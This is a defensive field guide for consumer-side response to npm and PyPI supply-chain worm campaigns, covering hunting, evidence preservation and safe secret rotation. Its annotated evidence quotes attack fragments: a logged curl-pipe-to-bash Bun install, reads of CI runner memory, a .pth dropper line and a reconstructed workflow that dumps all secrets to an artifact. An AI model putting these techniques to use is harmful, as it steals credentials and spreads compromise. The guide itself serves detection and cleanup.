Deliberate Defender
← Deliberate Defender Software supply chain · Incident response

Developer Supply-Chain Compromise Field Guide

An advisory says a package you depend on shipped malicious versions. This guide is for the consumer side: finding where your organisation installed it, whether it ran, which secrets it could reach on laptops and CI runners, what it left behind in GitHub or GitLab, and how to rotate without setting off its destructive fallback.

npmPyPIGitHub ActionsGitLab CI/CDShai-Huludtj-actionss1ngularity

Last reviewed November 2026. Campaigns change their file names and strings between waves. Use the indicators here to start a hunt, and take the current list from the advisory for the incident you are working.

Five questions

Work these in order. The first three tell you how bad it is. The fourth tells you what to clean before you rotate, and the fifth tells you whether your organisation has become a source for someone else.

Two places to look. Collect both before cleaning.

On the machineOn the machine that installed it: lockfiles, caches, installed files, process activity and the secrets that were on disk or in the environment. Some payloads only run in CI: the May 2026 @antv payload exits unless it is in GitHub Actions on Linux.6 A clean laptop doesn’t clear your runners.
In your Git host, CI and registriesIn your Git host, CI and registries: audit logs, workflow and pipeline changes, runner registrations, job logs and package publish history. Recent worms use stolen tokens to plant workflows, register runners and republish packages, so this is where the damage spreads.236

Collect both before you clean anything. Several payloads destroy the home directory when their tokens stop working, and CI logs and audit logs expire on a schedule.2461213

Why install scripts aren’t the whole story

Databricks found that 54% of about 5,400 malicious npm packages declared a lifecycle script and the rest ran on import or invocation. Blocking install scripts stops the first group, not the second.8 npm v12 blocks dependency install scripts by default, with an allowlist in allowScripts.17 Python has its own install-free path: import lines in .pth files run at interpreter startup, and the June 2026 PyPI copycat used exactly that.518

How a malicious package spreads

From the consumer side, a compromise travels through four places. The package reaches you through a hijacked maintainer account, a hijacked release pipeline or a look-alike name, runs on whatever installs it, takes the secrets it can see, and uses them to spread.135610

your organisationUpstreamhijacked accountRegistrynpm · PyPILaptops and CIinstall or importStolen secretstokens · cloud keysYour Git hostworkflows · runnerspublishesyou installreadsplantsstolen npm or PyPI token republishes your packages
How a worm turns a consumer into a source. The dashed box is outside your organisation; the highlighted return path is why step 8 of the workflow checks your own packages.1246

What happens at each stage

Upstream

in your Git hostMaintainer account or tokenA compromised maintainer account published the @antv versions; Shai-Hulud may have started with npm-themed phishing.26
in your Git hostRelease pipelineNx and TanStack were published from their own CI after workflow abuse, TanStack with valid SLSA provenance.310
in your Git hostLook-alike packageThe June 2026 PyPI wave used typosquats such as rlask and rsquests.5

Developer laptops

on the machineInstall or importA preinstall or postinstall hook, an optional dependency, or code that runs on import.2378
on the machineLocal secrets.npmrc tokens, GitHub CLI tokens, cloud keys, SSH keys; Shai-Hulud 2.0 ran TruffleHog over the home directory.124
on the machineLocal toolss1ngularity tried locally installed AI CLIs to search for secrets.10

CI runners

on the machineRunner memoryPayloads read the GitHub Actions Runner.Worker process memory to get secrets, past log masking.369
on the machineCI identityOIDC tokens and GITHUB_TOKEN; the 2026 payload also reads GitLab CI, CircleCI and other platforms.37
on the machineCloud and vaultsInstance metadata, Secrets Manager, Vault and Kubernetes tokens reachable from the runner.6

Your Git host and registries

in your Git hostPlanted workflowsNew or changed workflow files that dump secrets or call back to the attacker.257
in your Git hostRogue runnersShai-Hulud 2.0 registered the infected machine as a self-hosted runner.24
in your Git hostExfiltration repos and republished packagesPublic repos with campaign descriptions, and new versions of your own packages.126
on the machine laptops and CI runners that installed the packagein your Git host GitHub or GitLab, CI configuration and package registries

Where the code runs

npm installor npm cilifecycle scriptpreinstall · postinstallblockedrequire or importyour code loads itpackage code runson import or callpip install*.pth filein site-packagesnpm v12 blocks this for dependencies by default54% of malicious npm packages use itnot stopped by install-script blockingthe other 46% run this wayevery Python startruns its import line
Blocking install scripts covers one path out of three. Code that runs on import and Python .pth files need no install script.581718

Annotated evidence

Eight records from one consumer-side incident, in the order you would pull them, using indicators from published campaigns. Pick a record under its question or step through with Next. Tap the numbered pins in the data to highlight what to read. Organisation, user, repository and token values are invented.

  1. 1 · Installed
  2. 2 · Ran
  3. 3 · Reached
  4. 4 · Persisted
  5. 5 · Published
CI platform (records D and F)
A · Lockfile and its historyinstalledon the machine
git log -p -- package-lock.json (simplified)
commit 4c1d9e2  2025-08-26 15:02  Merge "bump nx"
-    "node_modules/nx": {
-      "version": "21.4.1",
+    "node_modules/nx": {
+      "version": "21.5.0",
+      "resolved": "https://registry.npmjs.org/nx/-/nx-21.5.0.tgz",
+      "integrity": "sha512-EXAMPLEonlyEXAMPLEonly…",
+      "hasInstallScript": true
  1. The commit date bounds when the version entered the repository. It doesn’t tell you when each laptop or runner installed it: that comes from caches, logs and CI history.
  2. nx 21.5.0 is one of the versions Nx lists as malicious.10 Check nested dependencies too, not just direct ones.1
  3. The integrity hash identifies the exact tarball. Compare it with the advisory’s hashes where they are published.
  4. npm marks packages that declare an install script. s1ngularity ran from a postinstall script.10

Triage: Search every repository’s lockfiles, then the registry proxy or artifact store for cached copies of the affected versions.1

B · Process tree during installranon the machine
EDR process events on a CI runner (simplified)
09:41:07  node  npm ci
09:41:12    sh -c "bun run index.js"
09:41:12      curl -fsSL https://bun.sh/install | bash
09:41:19      bun run index.js
09:41:20        read /proc/2214/mem   (Runner.Worker)
  1. npm runs preinstall, install and postinstall for npm ci and npm install.17
  2. The @antv packages used "preinstall": "bun run index.js". Microsoft describes the chain as node, then a shell, then bun.67
  3. Bun was installed on the fly. GitLab lists the Unix and Windows install commands from Shai-Hulud 2.0 as indicators, and the PyPI copycat also downloaded Bun.45
  4. Reading the runner worker’s memory gets secrets that log masking would hide.36

Triage: Unexpected bun during an npm or pip install is one of Upwind’s and GitLab’s suggested checks.57

C · A Python package that runs without being importedinstalledranon the machine
site-packages listing and dist-info RECORD (simplified)
$ ls site-packages/ | grep -i rlask
rlask/
rlask-3.1.4.dist-info/
rlask-setup.pth

$ head -c 70 site-packages/rlask-setup.pth
import os as _O,tempfile as _T;_G=_O.path.join(_T.gettempdir(),".bun_ran");

$ grep setup.pth rlask-3.1.4.dist-info/RECORD
rlask-setup.pth,sha256=EXAMPLEonlyEXAMPLEonly,412
$ cat rlask-3.1.4.dist-info/INSTALLER
pip
  1. rlask is a Flask typosquat from the June 2026 PyPI wave, which dropped {package}-setup.pth.5
  2. Python executes .pth lines that start with import at every interpreter startup, so no import of the package is needed.18 The dropper writes a .bun_ran marker to the temp directory.5
  3. RECORD lists every installed file with its hash and size, so it ties the .pth file to the package that installed it.18
  4. INSTALLER names the tool that installed the package.18

Triage: Search every environment for unexpected *.pth files and sitecustomize.py; the early rlask versions also used the latter.5

D · Secrets in a CI job logreachedin your CI
GitHub Actions job log, step using tj-actions/changed-files (simplified)
2025-03-14T17:02:11Z Run tj-actions/changed-files@v35
2025-03-14T17:02:14Z ZXlKT1VFMWZWRTlMUlU0aU9uc2lkbUZzZFdVaU9pSnVjRzFmUlZoQlRWQk1SVzV2…
2025-03-14T17:02:14Z Getting changed files…
GitLab CI job log (simplified)
$ echo "token=$NPM_TOKEN"
token=[MASKED]
$ echo "$NPM_TOKEN" | base64
bnBtX0VYQU1QTEVub3RBUkVBTHRva2VuMDAwMDAwMDAwMAo=
  1. On GitHub, the compromised action’s tags all pointed at commit 0e58ed86… on 14–15 March 2025.9 On GitLab, masking replaced the plain value.16
  2. GitHub: the payload read secrets from runner memory and printed them double base64-encoded; decode with echo '…' | base64 -d | base64 -d.9 GitLab: “If a process outputs the value in a slightly modified way, the value can’t be masked.”16

Triage: Neither platform guarantees redaction.1116 Download job logs for the exposure window before they expire, and treat every secret the job could see as exposed.913

E · A planted workflowpersistedin your Git host
.github/workflows/codeql.yml, reconstructed from Upwind’s description (not the attacker’s exact file)
name: Run Copilot
on: push
jobs:
  format:
    runs-on: ubuntu-latest
    steps:
      - run: echo '${{ toJSON(secrets) }}' > format-results.json
      - uses: actions/upload-artifact@…
        with: { name: format-results, path: format-results.json }
  1. A familiar file name with an unrelated display name. Upwind describes the injected codeql.yml named “Run Copilot”.7
  2. toJSON(secrets) serialises every secret the workflow can see. Upwind describes it being written to an artifact named format-results, then the commit being deleted and the branch reset.7
  3. Upwind also reports attacker-controlled forks used in place of actions/checkout and actions/upload-artifact. Check what each uses: line resolves to.7

Triage: Earlier waves used shai-hulud-workflow.yml and discussion.yaml, and the PyPI wave committed .github/setup.js.25 Removing the package doesn’t remove a committed workflow.

F · Audit log: runner and secret changespersistedreachedin your Git host
GitHub organization audit log, exported as JSON (simplified)
{"action":"repo.register_self_hosted_runner",
 "actor":"dev-jsmith","repo":"acme/web-app",
 "runner_name":"SHA1HULUD","created_at":"2025-11-24T10:14:03Z"}
{"action":"repo.create","actor":"dev-jsmith","repo":"dev-jsmith/x8k2p0",
 "visibility":"public"}
GitLab audit events (simplified)
{"event_name":"ci_runner_registered",
 "author_name":"dev-jsmith","entity_path":"acme/web-app",
 "created_at":"2025-11-24T10:14:03Z"}
{"event_name":"variable_viewed_api","author_name":"dev-jsmith",
 "entity_path":"acme/web-app"}
  1. GitHub records repo.register_self_hosted_runner; GitLab records ci_runner_registered. GitLab’s incident guide lists new runner registrations as a CI/CD abuse signal.121415 The documented campaigns registered runners on GitHub; the GitLab record shows what the same step would look like there.
  2. Shai-Hulud 2.0 registered runners with the name SHA1HULUD and took commands through GitHub Discussions.2
  3. GitHub: repo.create and repo.access catch new or newly public repositories; Nx suggests searching the security log for action:repo.create.1012 GitLab: variable_viewed_api records a CI/CD variable read through the API.15

Triage: GitHub keeps the organization audit log for 180 days, but git clone, fetch and push events only 7 days and only through the API, streaming or export. Export now.12

G · Exfiltration repositories and stray commitspersistedin your Git host
Repositories and branches under your users’ accounts (simplified)
dev-jsmith/x8k2p0   public   "Sha1-Hulud: The Second Coming."
dev-akim/q71ma3     public   "niagA oG eW ereH :duluH-iahS"
acme/web-app  branch feature/login-fix
  commit 9b3e… by dev-akim  "chore: update"  (results.json)
  1. Shai-Hulud 2.0 created public repos with this description; the September 2025 wave used a repo named Shai-Hulud.124
  2. The May 2026 wave used the same phrase reversed, and Microsoft counted more than 2,200 such repos.6
  3. As a fallback it committed data to branches in the victim’s own repos through the Git Data API, skipping protected names such as main, master and dependabot/.6

Triage: Search your organisation and members’ accounts for these descriptions, then review recent commits on unprotected branches.

H · Your own package’s publish historypublishedin your registries
npm view @acme/ui-kit time, and the registry’s provenance (simplified)
"4.2.0": "2026-05-02T09:12:40Z"
"4.2.1": "2026-05-19T03:41:55Z"
provenance: built by .github/workflows/release.yml
            at refs/heads/main  (signature valid)
  1. A version nobody on the team released. Shai-Hulud republished each victim’s other packages after incrementing the version.14 GitHub invalidated 61,274 npm write tokens after the May 2026 wave.6
  2. Valid provenance proves which pipeline built the package, not that the pipeline was clean. TanStack’s malicious versions carried valid SLSA Build Level 3 provenance.3 Databricks found that 85% of trusted-published packages in its set were compromised legitimate packages.8

Triage: If a version like this exists, you are now a publisher in someone else’s incident. See step 8 of the workflow.

Indicators

Published indicators by campaign, plus the audit events worth watching on any platform. Use them to start a hunt. File names and strings change between waves, so take the current list from the advisory you are working.

CampaignTypeIndicatorWhere you see itNotesSrc

Workflow

The order matters more than usual: logs expire, and some payloads destroy data when their tokens are revoked. Tick steps off as you go. Your progress is kept in this browser only.

1 Preserveexport audit and CI logs2 Collectimage infected hosts3 Remove persistenceworkflows · runners · hooks4 Revoke and rotatetokens · keys · variablesIf you revoke first:Revoke tokensPayload loses accessGitHub and npmWipes home directoryshred · del · cipher
The safe order. Shai-Hulud 2.0 and the May 2026 payload destroy data when their tokens stop working, so revoking before cleaning can cost you the evidence and the machine.2467
  1. 1

    Pin down the affected versions and the window

    Take the version list and dates from the advisory for this incident. CISA, for example, told Shai-Hulud victims to pin to releases from before 16 September 2025.1
  2. 2

    Preserve what expires first

    Export the Git host’s audit log and download CI job logs for the window before doing anything else. GitHub keeps Actions logs for 90 days by default (configurable up to 90 days on public repos and 400 on private), the audit log for 180 days, and git events for 7.1213 GitLab job artifacts expire after 30 days by default; on self-managed instances job logs don’t expire on their own.16 Copy npm’s debug logs from the _logs folder in the cache before they rotate.17
  3. 3

    Find every install

    Lockfiles in every repository, including nested dependencies; cached copies in the registry proxy or artifact store; package caches on laptops and runners.11718
    # npm: where an affected package appears, and when the lockfile changed
    npm ls nx --all
    git log -p --since=2025-08-20 -- package-lock.json
    
    # npm cache location (no built-in way to inspect its contents)
    npm config get cache        # ~/.npm or %LocalAppData%\npm-cache
    
    # Python: unexpected startup hooks in every environment
    python -c "import site; print(site.getsitepackages())"
    find <site-packages> -maxdepth 1 \( -name '*.pth' -o -name sitecustomize.py \)
    pip cache dir
  4. 4

    Establish whether it ran

    Check whether install scripts were allowed (npm v12 blocks them for dependencies by default; --ignore-scripts on older versions), then look for execution anyway: about half of malicious packages run on import.817 Look for bun during installs, .truffler-cache, .bun_ran, and the files and processes in the Indicators tab.457
  5. 5

    Collect, then remove persistence, then revoke

    Image or collect from infected laptops and runners first. Shai-Hulud 2.0 and the May 2026 payload wipe the home directory when they lose their tokens, and GitLab notes that losing both GitHub and npm access at once triggers it.246 Upwind’s order: remove the persistence components before revoking GitHub tokens.7
  6. 6

    Clean your Git host and runners

    Look for new or changed workflow and CI files, self-hosted runners you didn’t register, new public repositories, commits on unprotected branches, .github/copilot-instructions.md and .github/setup.js, shell startup changes, and sudoers changes on runners.256710 On GitLab, review ci_runner_registered, ci_variable_* and job token policy events.1415
  7. 7

    Rotate everything it could reach

    npm and PyPI tokens, GitHub and GitLab tokens, cloud credentials, SSH keys, Vault and Kubernetes tokens, CI secrets and variables, and AI tool credentials on affected machines.1567 Revoke the GitHub CLI’s OAuth access where it was used.10
  8. 8

    Check whether it published as you

    Review the publish history of every package your organisation owns on npm and PyPI for versions nobody released. Provenance doesn’t settle it.358 If you find one, report it to the registry and switch to a publisher investigation: your release workflow, its triggers and caches, and your trusted-publisher configuration.310 npm and PyPI both accept trusted publishing from GitHub Actions and GitLab CI/CD, so check both platforms if you use them; Unit 42 found the TanStack binding trusted the whole repository rather than one workflow on a protected branch.31719
  9. 9

    Report and share

    Tell the registry’s security team about anything still live, and share indicators with peers. GitLab reported the PyPI wave to PyPI security within hours, and PyPI removed the releases the next day.5

What the evidence can’t tell you

GitHub git events7 daysGitLab job artifacts30 days (default)GitHub Actions logs90 days (default)GitHub audit log180 daysGitLab job logs (self-managed)no automatic expiry0 days30 days90 days180 days
How long the evidence lasts by default. The short bar is the urgent one: GitHub git clone, fetch and push events are kept 7 days and only through the API, streaming or export. Actions retention can be set up to 400 days on private repositories.121316

Masking is not protection

GitHub: “automatic redaction is not guaranteed.” GitLab: masking “is not a guaranteed way to prevent malicious users from accessing variable values.”1116 Payloads read secrets straight from runner memory.69

Provenance proves the pipeline, not its health

SLSA provenance “confirms which pipeline built a package, not whether that pipeline’s internal state was clean.”3 The Nx malicious versions lacked provenance, but later waves had it.310

Blocking install scripts is partial

Databricks calls it “a partial control”: it covers lifecycle-script payloads, not code that runs on import.8 Python .pth files need no install script at all.518

The evidence expires

GitHub Actions logs default to 90 days, the GitHub audit log covers 180 days and git events 7.1213 GitLab artifacts default to 30 days.16 npm rotates its debug logs.17

Caches are hard to read

npm says there is no exposed method to inspect its cache, and pip calls its cache layout an implementation detail.1718 Lockfiles and logs are usually better evidence of what was installed.

Quiet laptops prove little

Payloads check where they are running: the May 2026 payload exits unless it is in GitHub Actions on Linux.6 Absence on a workstation says nothing about CI.

Rotation can destroy evidenceRevoking a token can trigger a wipe on a machine that is still infected.246 Collect first, remove persistence, then revoke.7

Case notes

s1ngularity / Nx (August 2025)

A pull_request_target workflow with an injection flaw, read/write default token permissions and a dispatchable publish workflow let attackers steal Nx’s npm token and publish malicious versions for about four hours. They ran on developer machines and in CI.10 The AI agent guide covers the local AI CLI angle.

Lesson: Your consumer exposure started with someone else’s CI. Check your lockfiles and your own workflow defaults.

Shai-Hulud (September 2025)

A self-propagating worm in more than 500 npm packages stole tokens and cloud keys and published them to public repos named Shai-Hulud under victims’ accounts.12

Lesson: Victims’ own accounts hosted the leaked secrets, so the cleanup was in your Git host.

Shai-Hulud 2.0 (November 2025)

Moved to preinstall, registered infected machines as self-hosted runners, created more than 25,000 repositories across about 350 users, and added a destructive fallback.24

Lesson: Order of operations matters: collect and clean before you revoke.

tj-actions/changed-files (March 2025)

Retargeted tags made more than 23,000 repositories run a step that printed runner secrets into their workflow logs.9

Lesson: Actions you reference are dependencies too. Pin to full commit SHAs.11

The 2026 waves

From April to July 2026, waves hit @bitwarden/cli, @cap-js, TanStack, @antv, Red Hat and AsyncAPI packages. TanStack was compromised through a poisoned cache and published with valid provenance; the @antv wave published 639 versions across 323 packages in about an hour.36

Lesson: Expect speed and valid signatures. Detection has to look at behaviour, not just provenance.

PyPI copycat (June 2026)

After the worm’s code was open-sourced in May 2026, typosquats on PyPI used a .pth dropper. GitLab detected the first malicious version 28 seconds after publication.5

Lesson: The technique outlives the campaign and moves between ecosystems.

Readiness: set these up before you need them

Use this as a checklist for your own environment. Your progress is kept in this browser only.

  1. 1

    Control install-time execution

    Use npm v12’s default blocking with an explicit allowScripts list, or --ignore-scripts on older npm.617
  2. 2

    Put a policy in front of the registry

    A registry proxy with an allowlist or minimum-age rule, plus lockfile integrity checks.8
  3. 3

    Lock down your workflows

    Pin actions to full commit SHAs, keep GITHUB_TOKEN read-only by default, and avoid pull_request_target unless needed.1011
  4. 4

    Keep the evidence longer

    Stream or export the audit log, and set Actions and GitLab log and artifact retention to cover your detection lag.121316
  5. 5

    Watch the Git host

    Alert on runner registrations, new public repositories, secret and variable changes, and job-token policy changes.121415
  6. 6

    Scope CI credentials

    Protected variables only on protected branches, the GitLab job-token allowlist kept to what’s needed, and short-lived, job-scoped credentials.816
  7. 7

    Protect developer accounts

    Phishing-resistant MFA, secret scanning and dependency alerts.1

Sources

  1. Government alert
    CISA. Widespread Supply Chain Compromise Impacting npm Ecosystem. 23 September 2025.
  2. Vendor threat intelligence
    J. Moore, Unit 42. “Shai-Hulud” Worm Compromises npm Ecosystem in Supply Chain Attack. Published 25 November 2025, updated 3 December 2025.
  3. Vendor threat intelligence
    Unit 42. The npm Threat Landscape: Attack Surface and Mitigations. Updated 15 July 2026.
  4. Vendor research
    M. Henriksen, D. Abeles, GitLab Vulnerability Research. GitLab discovers widespread npm supply chain attack. 24 November 2025.
  5. Vendor research
    D. Bolkensteyn, D. Abeles, GitLab Vulnerability Research. Shai-Hulud copycat campaign targets Python developers through PyPI typosquatting. 9 June 2026.
  6. Vendor threat intelligence
    Microsoft Defender Security Research. Mini Shai Hulud: Compromised @antv npm packages enable CI/CD credential theft. 20 May 2026.
  7. Vendor threat intelligence
    A. Harel, L. Machluf, Upwind. The New Face of Supply Chain Attacks: npm Malware Built for CI/CD and Cloud Compromise. 19 May 2026.
  8. Vendor research
    Databricks Threat Research. What 5,400 Malicious npm Packages Reveal about Software Supply Chain Risk in 2026. 23 November 2026.
  9. Security advisory
    GitHub Advisory Database. GHSA-mrrh-fwg8-r2c3: tj-actions changed-files through 45.0.7 allows remote attackers to discover secrets by reading actions logs (CVE-2025-30066). 15 March 2025.
  10. Postmortem
    J. Strumpflohner, Nx. S1ngularity – What Happened, How We Responded, What We Learned. 5 September 2025.
  11. Vendor documentation
    GitHub Docs. Secure use reference (GitHub Actions).
  12. Vendor documentation
    GitHub Docs. Audit log events for your organization and Reviewing the audit log for your organization.
  13. Vendor documentation
    GitHub Docs. Managing GitHub Actions settings for a repository (retention of logs and artifacts).
  14. Vendor documentation
    GitLab Docs. Security incident detection.
  15. Vendor documentation
    GitLab Docs. Audit event types.
  16. Vendor documentation
    GitLab Docs. CI/CD variables, CI/CD job token, CI/CD settings (artifact expiry) and Job logs.
  17. Vendor documentation
    npm Docs. Logging, npm-cache, Scripts, npm-approve-scripts (v12) and Trusted publishing for npm packages.
  18. Vendor documentation
    Python. site — Site-specific configuration hook; pip, Caching; PyPA, Recording installed projects.
  19. Vendor documentation
    PyPI Docs. Publishing to PyPI with a Trusted Publisher and Adding a Trusted Publisher.